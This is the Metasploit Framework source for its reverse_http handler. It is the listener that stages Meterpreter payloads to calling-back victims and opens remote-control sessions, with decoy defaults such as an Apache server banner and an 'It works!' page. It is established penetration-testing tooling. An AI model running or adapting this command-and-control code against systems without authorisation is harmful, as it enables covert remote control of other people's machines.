lib/msf/core/handler/reverse_http.rb
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/post/meterpreter/core_ids'
require 'rex/socket/x509_certificate'
require 'uri'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
include Msf::Handler
include Msf::Handler::Reverse
include Msf::Handler::Reverse::Comm
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
#
def self.handler_type
return 'reverse_http'
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp)
register_advanced_options(
[
OptAddress.new('ReverseListenerBindAddress',
'The specific IP address to bind to on the local system'
),
OptBool.new('OverrideRequestHost',
'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
),
OptString.new('OverrideLHOST',
'When OverrideRequestHost is set, use this value as the host name for secondary requests'
),
OptPort.new('OverrideLPORT',
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
),
OptString.new('OverrideScheme',
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
),
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.random,
aliases: ['MeterpreterUserAgent'],
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
default: 'Apache',
aliases: ['MeterpreterServerName']
),
OptString.new('HttpUnknownRequestResponse',
'The returned HTML response body when the handler receives a request that is not from a payload',
default: '<html><body><h1>It works!</h1></body></html>'
),
OptBool.new('IgnoreUnknownPayloads',
'Whether to drop connections from payloads using unknown UUIDs'
)
], Msf::Handler::ReverseHttp)
end
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
else
super
end
end
# A URI describing where we are listening
#
# @param addr [String] the address that
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @param req [Rex::Proto::Http::Request]
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri(req=nil)
callback_host = nil
callback_scheme = nil
# Extract whatever the client sent us in the Host header
if req && req.headers && req.headers['Host']
cburi = URI("#{scheme}://#{req.headers['Host']}")
callback_host = cburi.host
callback_port = cburi.port
end
# Override the host and port as appropriate
if datastore['OverrideRequestHost'] || callback_host.nil?
callback_host = datastore['OverrideLHOST']
callback_port = datastore['OverrideLPORT']
callback_scheme = datastore['OverrideScheme']
end
if callback_host.nil? || callback_host.empty?
callback_host = datastore['LHOST']
end
if callback_port.nil? || callback_port.zero?
callback_port = datastore['LPORT']
end
if callback_scheme.nil? || callback_scheme.empty?
callback_scheme = scheme
end
if Rex::Socket.is_ipv6? callback_host
callback_host = "[#{callback_host}]"
end
if callback_host.nil?
raise ArgumentError, "No host specified for payload_uri"
end
if callback_port
"#{callback_scheme}://#{callback_host}:#{callback_port}"
else
"#{callback_scheme}://#{callback_host}"
end
end
def comm_string
if self.service.listener.nil?
"(setting up)"
else
via_string(self.service.listener.client) if self.service.listener.respond_to?(:client)
end
end
# Use the #refname to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index('https'))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? 'https' : 'http'
end
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
l = datastore['LURI'] || ""
if l && l.length > 0
# strip trailing slashes
while l[-1, 1] == '/'
l = l[0...-1]
end
# make sure the luri has the prefix
if l[0, 1] != '/'
l = "/#{l}"
end
end
l.dup
end
# Create an HTTP listener
#
# @return [void]
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
comm = select_comm
# Start the HTTPS server service on this host/port
bind_addresses.each do |ip|
begin
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port, ip, ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm,
(ssl?) ? datastore['HandlerSSLCert'] : nil, nil, nil, datastore['SSLVersion']
)
local_addr = ip
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
ex = false
break
end
end
raise ex if (ex)
self.service.server_name = datastore['HttpServerName']
# Add the new resource
service.add_resource((luri + "/").gsub("//", "/"),
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
if datastore['IgnoreUnknownPayloads']
print_status("Handler is ignoring unknown payloads")
end
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
if self.service
self.service.remove_resource((luri + "/").gsub("//", "/"))
self.service.deref
self.service = nil
end
end
attr_accessor :service # :nodoc:
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['HttpProxyHost'].to_s == ''
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['HttpProxyHost'].to_s
info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
info[:type] = datastore['HttpProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['HttpProxyUser'].to_s != ''
info[:username] = datastore['HttpProxyUser'].to_s
end
if datastore['HttpProxyPass'].to_s != ''
info[:password] = datastore['HttpProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
def on_request(cli, req)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
info = process_uri_resource(req.relative_resource)
uuid = info[:uuid]
if uuid
# Configure the UUID architecture and payload if necessary
uuid.arch ||= self.arch
uuid.platform ||= self.platform
conn_id = luri
if info[:mode] && info[:mode] != :connect
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
else
conn_id << req.relative_resource
conn_id = conn_id.chomp('/')
end
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if framework.db.active
db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first
else
print_warning('Without a database connected that payload UUID tracking will not work!')
end
if datastore['IgnoreUnknownPayloads'] && !db_uuid
print_status("Ignoring unknown UUID: #{request_summary}")
info[:mode] = :unknown_uuid
end
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = db_uuid ? db_uuid['urls'] : []
unless allowed_urls && allowed_urls.include?(req.relative_resource.chomp('/'))
print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
end
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
else
info[:mode] = :unknown
end
self.pending_connections += 1
resp.body = ''
resp.code = 200
resp.message = 'OK'
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("Redirecting stageless connection from #{request_summary}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_URL)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
if info[:mode] == :connect
print_status("Attaching orphaned/stageless session...")
else
begin
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# remove this when we make http payloads prepend stage sizes by default
if defined?(read_stage_size?) && read_stage_size?
print_status("Appending Stage Size For HTTP[S]...")
blob = [ blob.length ].pack('V') + blob
end
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp['Content-Type'] = 'application/octet-stream'
resp.body = blob
rescue NoMethodError => e
print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.')
elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
return
end
end
create_session(cli, {
:passive_dispatcher => self.service,
:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
else
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
self.service.close_client(cli)
end
end
end
end